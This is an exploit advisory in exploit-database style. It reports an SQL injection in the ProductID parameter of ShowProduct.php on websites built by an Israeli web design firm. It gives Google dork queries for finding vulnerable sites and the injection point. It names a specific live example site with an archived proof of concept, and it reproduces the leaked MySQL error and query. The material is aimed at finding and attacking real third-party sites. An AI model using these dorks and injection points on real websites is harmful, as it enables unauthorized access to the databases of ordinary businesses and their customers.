#################################################################################################
# Exploit Title : Web Design בניית אתרים SSD.co.il Israel SQL Injection Vulnerability
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army
# Date : 12/09/2018
# Vendor Homepage : ssd.co.il
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# CWE : CWE-89 [ Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') ]
#################################################################################################
# Google Dork :
intext:''בניית אתרים ssd'' site:il
inurl:''/ShowProduct.php?ProductID='' site:il
# Exploit :
/PATH/ShowProduct.php?ProductID=[SQL Injection]
#################################################################################################
# Example Site =>
thuasne.co.il/%D7%A8%D7%95%D7%A4%D7%90%D7%99%D7%9D/ShowProduct.php?ProductID=100
=> [ Proof of Concept ] => archive.is/UBaas
# SQL Database Error =>
functions.php:575 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version
for the right syntax to use near 'AND b.leftKey BETWEEN a.leftKey AND a.rightKey) LEFT JOIN `MainPages` ON (Ma' at line 2
SELECT a.`CategoryID`,a.`CategoryTitle`, a.MainPageID as `PageID`, IF(b.CategoryID >
0,b.CategoryID,IFNULL(MainPages.CategoryID,0)) as `chosen`, '1' as `by_href`, '9' as `link_type` FROM
`Categories_product` as `a` LEFT JOIN `Categories_product` as `b` ON
(b.CategoryID = AND b.leftKey BETWEEN a.leftKey AND a.rightKey) LEFT JOIN `MainPages` ON (MainPages.CategoryID =
a.CategoryID AND MainPages.MainPageID = 0) WHERE a.`Parent` = 0 AND a.`ifShow` = 1 AND a.`LangID` = 1 ORDER BY a.`ShowOrde
#################################################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
#################################################################################################